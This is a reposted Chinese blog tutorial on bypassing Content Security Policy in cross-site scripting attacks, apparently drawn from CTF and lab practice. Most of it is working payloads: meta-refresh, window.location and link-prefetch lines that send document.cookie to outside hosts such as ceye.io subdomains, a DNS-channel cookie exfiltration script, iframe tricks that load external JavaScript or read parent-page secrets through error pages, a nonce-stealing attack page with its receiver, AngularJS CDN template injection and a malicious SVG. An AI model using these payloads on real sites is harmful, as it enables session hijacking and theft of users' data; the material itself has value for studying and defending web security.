XSS之CSP绕过(转)

前言

使用浏览器搜索了一堆这种文章,发现了一个写的太好太好的文章了,反复看了好久,自己还是写不出超越这个文章的深度,就转载来方便以后看。
原文链接

https://www.mi1k7ea.com/2019/02/24/CSP策略及绕过技巧小结

绕过default-src ‘none’

策略为:Content-Security-Policy: default-src ‘none’;
这种情况下,可以使用meta标签实现跳转:

<meta http-equiv="refresh" content="1;url=https://www.mi1k7ea.com/x.php?c=[cookie]" >

Demo如下:

<?php
	$nonce = md5(openssl_random_pseudo_bytes(16));
	header("Content-Security-Policy: default-src 'none'; ");
?>
<!DOCTYPE html>
<html>
<head>
	<title>CSP Test</title>
</head>
<body>
<h2>CSP Test</h2>
<form action="test.php" method="post">
	<input type="text" name="content">
	<button type="submit">Go</button>
</form>
<?php
	if (isset($_POST['content'])) {
		echo "Your POST content: <p>".@$_POST['content']."</p>";
	}
?>
</body>
</html>

当我们输入如下内容可以成功跳转至目标页面,当然也可以将cookie带出来:

<meta http-equiv="refresh" content="1;url=http://192.168.43.201:8000/x.php?c=mi1k7ea" >

形同虚设的script-src ‘unsafe-inline’

策略中有一条为:script-src ‘unsafe-inline’; ,这条策略相当于直接让CSP几乎沦陷了大半。
在允许unsafe-inline的情况下,可以用window.location,或者window.open之类的方法进行跳转绕过。

<script>window.location="https://www.mi1k7ea.com/x.php?c=[cookie]";</script>
<script>window.open('//www.mi1k7ea.com/?'+escape(document.cookie))</script>
<script>window.location.href='https://www.mi1k7ea.com/?cookie='+document.cookie</script>

Demo代码还是之前的,把CSP修改一下,添加script-src ‘unsafe-inline’;即可。
输入如下标签直接跳转并成功返回cookie:

<script>window.location.href='http://192.168.43.201:8000/?cookie='+document.cookie</script>

内嵌script都可以执行,当然可以直接执行本页面的JS,如输入即可,这里的利用和XSS利用一致,没有啥绕过技巧,不再累赘。

绕过xx-src *

*号即允许匹配任何URL请求。但一般情况很少会遇到default-src ;或大部分xx-src ;这样的CSP策略,举一个简单的例子

Content-Security-Policy: default-src 'none'; connect-src 'self'; frame-src *; script-src http://xxxxx/js/ 'nonce-xxx';font-src http://xxxx/fonts/ fonts.gstatic.com; style-src 'self' 'unsafe-inline'; img-src 'self'

很明显地可以找到,frame-src *,其对于iframe的来源并没有做任何限制,当然实际环境可能需要iframe标签来内联来包含别的页面。
可以利用CSRF漏洞。这里直接输入

<iframe src="https://www.mi1k7ea.com"></iframe>

来测试:

查看页面元素,可以看到iframe内嵌包含进来的是,其可以正常执行而无视掉script-src http://xxxxx/js/ 'nonce-xxx';的CSP策略。

利用link绕过xx-src self

CSP策略中xx-src self的设置能够使大部分的XSS和CSRF都会失效,但link标签的预加载功能可以进行绕过。
在Chrome下,可以使用如下标签发送cookie(最新版Chrome会禁止):

<link rel="prefetch" href="https://www.mi1k7ea.com/c.php?c=[cookie]">

在Firefox下,可以将cookie作为子域名,用DNS预解析的方式把cookie带出去,查看DNS服务器的日志就能得到cookie:

<link rel="dns-prefetch" href="//[cookie].mi1k7ea.com">

在后面的iframe中会有结合利用的示例。

利用浏览器补全绕过script nonce

有时候CSP策略可能会设置成如下:

Content-Security-Policy: default-src 'none';script-src 'nonce-xxx'

这种情况下,script标签需要带上正确的nonce属性值才能执行JS代码。

如果,出现了脚本插入点在含有nonce属性值的script标签前面的情况时,如:

<p>插入点</p><script id="aa" nonce="abc">document.write('CSP');</script>

可以插入如下内容来利用浏览器补全功能:

<script src="http://192.168.248.1/a.js" a="

最终形成如下页面结构:

<p><script src="http://192.168.248.1/a.js" a="</p><script id="aa" nonce="xxx">document.write('CSP');</script>

也就是说,利用浏览器补全的功能,在含有nonce的script标签前面的插入点插入script标签的同时,插入a=”以闭合后面script标签的第一个属性的双引号,从而使中间的内容失效,将本来的nonce属性劫持到了插入的script标签中,使得该插入标签可以正常执行JS代码,也就是说浏览器会给我们自动补全只有一个双引号的属性的值。

还有一个注意点,上述的a标签在Chrome上是执行不了的,原因在于Chrome对于标签的解析方式则不同,Chrome中解析script标签的优先级高于解析属性双引号内的值,因而前面双引号闭合的时候没法正常使其失效。但是这里可以使用src属性替代,使其可在Chrome下正常执行。
Demo

<?php
	$nonce = md5(openssl_random_pseudo_bytes(16));
	header("Content-Security-Policy: default-src 'none'; script-src 'nonce-$nonce'; ");
?>
<!DOCTYPE html>
<html>
<head>
	<title>CSP Test</title>
</head>
<body>
<h2>CSP Test</h2>
<form action="test.php" method="post">
	<input type="text" name="content">
	<button type="submit">Go</button>
</form>
<?php
	if (isset($_POST['content'])) {
		echo "Your POST content: <p>".@$_POST['content']."</p>";
	}
?>
<script type="text/javascript" nonce=<?php echo $nonce;?>>document.write("Mi1k7ea")</script>
</body>
</html>

当我们输入<script src="http://192.168.43.201/a.js" a="时即会弹框:

查看元素,看到输入的script标签的a属性的双引号将后面含有nonce的script标签第一个含有双引号的属性都给闭合了,成功劫持了nonce属性进而加载外部JS弹框:

值得注意的就是,要想成功利用在nonce属性前需要存在一个用引号括起来的属性,不然会失效。

利用Gadgets和strict-dynamic/unsafe-eval绕过

即重用Gadgets代码来绕过CSP,具体可参考Black Hat 2017的ppt,上面总结了可以被用来绕过CSP的一些JS库。

例如假设页面中使用了Jquery-mobile库,并且CSP策略中包含”script-src ‘unsafe-eval’”或者”script-src ‘strict-dynamic’”,那么下面的向量就可以绕过CSP

<div data-role=popup id='<script>alert(1)</script>'></div>

在这个PPT之外的还有一些库也可以被利用,例如RCTF2018中遇到的amp库,下面的标签可以获取名字为FLAG的cookie:

<amp-pixel src="http://your domain/?cid=CLIENT_ID(FLAG)"></amp-pixel>

利用iframe绕过

(1)如果页面A中有CSP限制,但是页面B中没有,同时A和B同源,那么就可以在A页面中包含B页面来绕过CSP:

<iframe src="B"></iframe>

下面简单地搞个示例。

1.php代码,有CSP限制,但可以通过iframe加载同源的页面:

<?php
	$nonce = md5(openssl_random_pseudo_bytes(16));
	header("Content-Security-Policy: default-src 'none'; script-src 'nonce-$nonce'; frame-src 'self'; ");
?>
<!DOCTYPE html>
<html>
<head>
	<title>CSP Test</title>
</head>
<body>
<h2>CSP Test</h2>
<form action="1.php" method="post">
	<input type="text" name="content">
	<button type="submit">Go</button>
</form>
<?php
	if (isset($_POST['content'])) {
		echo "Your POST content: <p>".@$_POST['content']."</p>";
	}
?>
</body>
</html>

2.php简单写为。

在访问1.php时,直接输入script标签是无法执行弹框的,但可以通过iframe引入同源的2.php来执行该页面的JS代码,输入

(2)在Chrome下,iframe标签支持csp属性,这有时候可以用来绕过一些防御,例如”http://xxx“页面有个js库会过滤XSS向量,我们就可以使用csp属性来禁掉这个js库:

<iframe csp="script-src 'unsafe-inline'" src="http://xxx"></iframe>

(3)绕过sandbox:
情景1——未开启X-Frame-Options:DENY
Demo代码如下:

<?php 
	header("Content-Security-Policy: default-src 'self' 'unsafe-inline'; sandbox allow-forms allow-same-origin allow-scripts allow-modals allow-popups");
	setcookie('milk','tea');
?>
<!DOCTYPE html>
<html>
<head>
    <title>CSP Test</title>
</head>
<body>
	<script><?php echo $_GET['xss'];?></script>
</body>

当CSP设置为allow-popups开启时,window.open等就可以打开新的窗口,这时直接就能利用了,直接输入如下内容就能顺利地带出cookie信息(在URL栏输入前记得先进行URL编码):

?xss=window.open('//xxx.ceye.io/?'+escape(document.cookie))或?xss=window.location.href='http://xxx.ceye.io/?cookie='+document.cookie

这里加载同源的js文件是没有问题的,其中a.js的代码为alert(1),构造如下::

xss=f=document.createElement("script");f.src="http://127.0.0.1/a.js";document.body.appendChild(f);

但是有个问题,要是远程加载JS文件是不满足CSP规则的。这里我们换个源就知道了:

xss=f=document.createElement("script");f.src="http://127.0.0.1:8000/a.js";document.body.appendChild(f);

显示拒绝加载了,因为CSP中有一条default-src ‘self’的规则限制了。
这里可以通过iframe引入外部js,将src设置为同域的,从而绕过CSP的default-src ‘self’规则。

f=document.createElement("iframe");
f.id="pwn";
f.src="./test.txt";
f.onload=()=>{
    x=document.createElement('script');
    x.src='//127.0.0.1:8000/a.js';                  
    pwn.contentWindow.document.body.appendChild(x)
};
document.body.appendChild(f);

没有问题,成功引入外部js弹框:

当然也能把浏览器的数据带出来,引用外部新的c.js:

window.open('//xxx.ceye.io/?'+escape(document.cookie))

输入:

xss=f=document.createElement(%22iframe%22);f.id=%22pwn%22;f.src=%22./test.txt%22;f.onload=()=%3E{x=document.createElement(%27script%27);x.src=%27//192.168.17.148:81/c.js%27;pwn.contentWindow.document.body.appendChild(x)};document.body.appendChild(f);

这里没有出现网上博客说的带不回的问题。
下面也可以尝试使用DNS通道来传递cookie。

dc = document.cookie;
dcl = dc.split(";");
m = document.getElementsByTagName("HEAD")[0];
for (var i=0; i<dcl.length;i++)
{
console.log(dcl[i]);
m.innerHTML = m.innerHTML + "<link rel=\"preconnect\" href=\"//" + escape(dcl[i].replace(/\//g, "-")).replace(/%/g, "_") + '.' + location.hostname.split(".").join("") +  ".xxx.ceye.io\">";
console.log(m.innerHTML);
}

在URL栏输入的时候记得进行URL编码,然后就可以看到打到cookie了:

除此之外,我们还可以获取页面中父窗口标签的内容,在php代码中加上id为secret的标签内容,注意标签必须放在获取URL参数的script标签之上,否则会报错找不到:

<?php 
	header("Content-Security-Policy: default-src 'self' 'unsafe-inline'; sandbox allow-forms allow-same-origin allow-scripts allow-modals allow-popups; ");
	setcookie('milk','tea');
?>
<!DOCTYPE html>
<html>
<head>
    <title>CSP Test</title>
</head>
<body>
	<code id='secret'>P4ssw0rd</code>
	<script><?php echo $_GET['xss'];?></script>
</body>

改下第一行的内容获取id为secret的父窗口标签即可:

dc = top.document.getElementById("secret").innerHTML;
dcl = dc.split(";");
m = document.getElementsByTagName("HEAD")[0];
for (var i=0; i<dcl.length;i++)
{
console.log(dcl[i]);
m.innerHTML = m.innerHTML + "<link rel=\"preconnect\" href=\"//" + escape(dcl[i].replace(/\//g, "-")).replace(/%/g, "_") + '.' + location.hostname.split(".").join("") +  ".xxx.ceye.io\">";
console.log(m.innerHTML);
}

直接打到父窗口标签内容:

情景2——开启X-Frame-Options:DENY
如果header中添加了X-Frame-Options:DENY,则不能如此直接地利用前面的exp。

这里换个示例:http://hsts.pro/csp.php

访问,默认弹框显示welcome,可以看到站点是开了X-Frame-Options:DENY的:

查看页面源码,可以看到和之前的是差不多的,在xss参数中获取URL输入然后嵌入script标签中,其中还含有id为secret的标签:

<html>
<head><link rel="stylesheet" href="/css/bootstrap.min.css" integrity="sha384-BVYiiSIFeK1dGmJRAkycuHAHRg32OmUcww7on3RYdg4Va+PmSTsz/K68vbdEjh4u"><link rel="stylesheet" href="/css/bootstrap-theme.min.css" integrity="sha384-rHyoN1iRsVXV4nD0JutlnGaslCJuC7uwjduW9SVrLvRYooPp2bWYgmgJQIXwl/Sp"></head>
<body>
<div class="center-block">
<h1>Hello!</h1>
<script>alert("Welcome")</script>
<code id='secret'>Secret: iGWmT7P2YlYNytnE</code></div>
</body>
</html>

这里可使用CSP的第二个常见错误,即在返回Web扫描程序错误时没有提供保护性头部。若要验证这一点,最简单方法是尝试打开并不存在的网页。因为许多资源只为含有200代码的响应提供了X-Frame-Options头部,而没有为包含404代码的响应提供相应的头部。

为了强制NGINX返回“400 bad request”,你唯一需要做的,就是使用/../访问其上一级路径中的资源。为防止浏览器对请求进行规范化处理,导致/../被/所替换,对于中间的两个点号和最后一个斜线,我们可以使用unicode码来表示。

frame=document.createElement("iframe");
frame.src="/%2e%2e%2f";
document.body.appendChild(frame);

直接在控制台插入即可,当然也可以通过xss参数输入:

上payload获取父窗口标签内容:

frame=document.createElement("iframe");
frame.src="/%2e%2e%2f";
document.body.appendChild(frame);
frame.id="pwn";
frame.onload=()=>{
    x=document.createElement('script');
    x.src='data:,alert("Pwned "+top.secret.textContent)';
    pwn.contentWindow.document.body.appendChild(x)
};
document.body.appendChild(frame);

当然,也可以访问不存在的页面,造成404错误,注意会弹两次框:

frame=document.createElement("iframe");
frame.src="/noexist.txt";
document.body.appendChild(frame);
frame.id="pwn";
frame.onload=()=>{
    x=document.createElement('script');
    x.src='data:,alert("Pwned "+top.secret.textContent)';
    pwn.contentWindow.document.body.appendChild(x)
};
document.body.appendChild(frame);

第二种让Web服务器返回错误的方法是让URL超过所允许的长度。

例如NGINX和Apache等Web服务器的默认URL长度通常被设置为不超过8kB。

frame=document.createElement("iframe");
frame.src="/"+"A".repeat(20000);
frame.id="pwn";
frame.onload=()=>{
    x=document.createElement('script');
    x.src='data:,alert("Pwned "+top.secret.textContent)';
    pwn.contentWindow.document.body.appendChild(x)
};
document.body.appendChild(frame);

第三种欺骗服务器返回错误的方法是触发cookie长度限制。
这是因为当前浏览器支持的cookie越来越长,已经超出了Web服务器所能处理的范围。

1、创建一个巨型的 cookie

for(var i=0;i<5;i++){document.cookie=i+”=”+”a”.repeat(4000)};
2、使用任何地址打开iframe,都会导致服务器返回错误(通常没有XFO或CSP)

3、删除巨型cookie:

for(var i=0;i<5;i++){document.cookie=i+”=”}

4、将自己的js脚本写入frame中,用以窃取其父frame中的秘密信息。
payload:


for(var i=0;i<5;i++){document.cookie=i+"="+"a".repeat(4000)};
f=document.createElement("iframe");
f.id="pwn";
f.src="/";
f.onload=()=>{
	for(var i=0;i<5;i++){document.cookie=i+"="};
	x=document.createElement('script');
	x.src='data:,alert("Pwned "+top.secret.textContent)';
	pwn.contentWindow.document.body.appendChild(x)
};
document.body.appendChild(f);

利用meta绕过CSP nonce

meta标签有一些不常用的功能有时候有奇效:

meta可以控制缓存(在header没有设置的情况下),有时候可以用来绕过CSP nonce:

<meta http-equiv="cache-control" content="public">

meta可以设置Cookie(Firefox下),可以结合self-xss利用:

<meta http-equiv="Set-Cookie" Content="cookievalue=xxx;expires=Wednesday,21-Oct-98 16:14:21

利用浏览器缓存绕过script nonce

整个原理过程以Demo为例,看图吧:

csp-test.php,开启了nonce script规则,并且有XSS点:

<?php
function random_string( $length = 8 ) { 
  $chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'; 
  $password = ''; 
  for($i = 0; $i < $length; $i++)
  { 
    $password .= $chars[ mt_rand(0, strlen($chars) - 1) ]; 
  } 
  return $password; 
} 
$random = random_string(12);
header('Content-Security-Policy: default-src \'none\'; script-src \'nonce-'.$random .'\';');
header('Cache-Control: max-age=99999999');
setcookie('milk','tea');
?>
<script nonce='<?php echo $random;?>'>document.write('URL ' + unescape(location.href))</script>
<script nonce='<?php echo $random;?>'>console.log('another nonced script')</script>

然后我们需要利用iframe引入这个页面,并对其发起请求获取页面内容,这里我们通过向其中注入一个

attack.php:

<iframe id="frame" src="http://127.0.0.1/csp-test.php#<form method='post' action='http://127.0.0.1/nonce_receiver.php'><input type='submit' value='test!'><textarea name='nonce'>">
</iframe>
<script>
  function getNonce() { 
    var xhr = new XMLHttpRequest();
    xhr.open("GET", "nonce_receiver.php", false);
    xhr.send();
    return xhr.responseText;
  }
 
  setTimeout(pollNonce, 1000);
  function pollNonce() {
    var nonce = getNonce();
    if (nonce == "") {
      setTimeout(pollNonce, 1000);
    } else {
      attack(nonce);
    }
  }
  function attack(nonce) {
    var iframe = document.createElement("iframe");
    var url = "http://127.0.0.1/csp-test.php#"
    var payload = "<script nonce='" + nonce + "'>alert(document.cookie)</scr" + "ipt>"
    var validationPayload = "<script>alert('If you see this alert, CSP is not active')</scr" + "ipt>"
    iframe.src = url + payload + validationPayload;
    document.body.appendChild(iframe);
  }
</script>

然后我们需要一个页面去获取nonce字符串,为了反复获得,这里需要开启session。

nonce_receiver.php:

<?php
session_start();
if(!empty($_POST)){
	$message = $_POST['nonce'];
	preg_match('/(nonce=\')\w+\'/', $message, $matches);
	$nonce_number = substr($matches[0], 7, -1);
	$_SESSION['nonce'] = $nonce_number;
	echo $nonce_number;
}else if(!empty($_SESSION['nonce'])){
	echo $_SESSION['nonce'];
}
?>

一切就绪了,唯一的问题就是在nonce script上,由于csp开启的问题,我们没办法自动实现自动提交,也就是攻击者必须要使按钮被点击,才能实现一次攻击。

可以看到csp-test.php中的cookie被带回来了:

利用wave文件绕过script-src ‘self’

直接看梅子酒大师傅的文章吧太强了。。
https://mp.weixin.qq.com/s/ljBB5jStB7fcJq4cgdWnnw

用CDN来绕过

一般来说,前端会用到许多的前端框架和库,部分企业为了减轻服务器压力或者其他原因,可能会引用其他CDN上的JS框架,如果CDN上存在一些低版本的框架,就可能存在绕过CSP的风险
这里给出orange师傅绕hackmd CSP的文章Hackmd XSS
https://paper.seebug.org/855/
案例中hackmd中CSP引用了cloudflare.com CDN服务,于是orange师傅采用了低版本的angular js模板注入来绕过CSP,如下

<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'unsafe-eval' https://cdnjs.cloudflare.com;">
<!-- foo="-->
<script src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.min.js>
</script>
<div ng-app>
    {{constructor.constructor('alert(document.cookie)')()}}
</div>

这个是存在低版本angular js的cdn服务商列表https://github.com/google/csp-evaluator/blob/master/whitelist_bypasses/angular.js#L26-L76
除了低版本angular js的模板注入,还有许多库可以绕过CSP

下面引用https://www.jianshu.com/p/f1de775bc43e

如果用了Jquery-mobile库,且CSP中包含"script-src 'unsafe-eval'"或者"script-src 'strict-dynamic'",可以用此exp

<div data-role=popup id='<script>alert(1)</script>'></div>

还比如RCTF2018题目出现的AMP库,下面的标签可以获取名字为FLAG的cookie

<amp-pixel src="http://your domain/?cid=CLIENT_ID(FLAG)"></amp-pixel>

blackhat2017有篇ppt总结了可以被用来绕过CSP的一些JS库

https://www.blackhat.com/docs/us-17/thursday/us-17-Lekies-Dont-Trust-The-DOM-Bypassing-XSS-Mitigations-Via-Script-Gadgets.pdf

利用条件:
CDN服务商存在某些低版本的js库
此CDN服务商在CSP白名单中

SVG绕过

SVG作为一个矢量图,但是却能够执行javascript脚本,如果页面中存在上传功能,并且没有过滤svg,那么可以通过上传恶意svg图像来xss

之前的easer CONFidence CTF就出过svg的xss

引用 https://www.smi1e.top/通过一道题了解缓存投毒和svg-xss/

1.svg

<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px" width="100px" height="100px" viewBox="0 0 751 751" enable-background="new 0 0 751 751" xml:space="preserve">  <image id="image0" width="751" height="751" x="0" y="0"
    href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAu8AAALvCAIAAABa4bwGAAAAIGNIUk0AAHomAACAhAAA+gAAAIDo" />
<script>alert(1)</script>
</svg>

利用条件:
可以上传svg图片

CRLF绕过

HCTF2018的一道题,当一个页面存在CRLF漏洞时,且我们的可控点在CSP上方,就可以通过注入回车换行,将CSP挤到HTTP返回体中,这样就绕过了CSP原题github https://github.com/Lou00/HCTF2018_Bottle

转载地址

https://www.mi1k7ea.com/2019/02/24/CSP策略及绕过技巧小结/

猜你喜欢

转载自www.cnblogs.com/wangtanzhi/p/12609570.html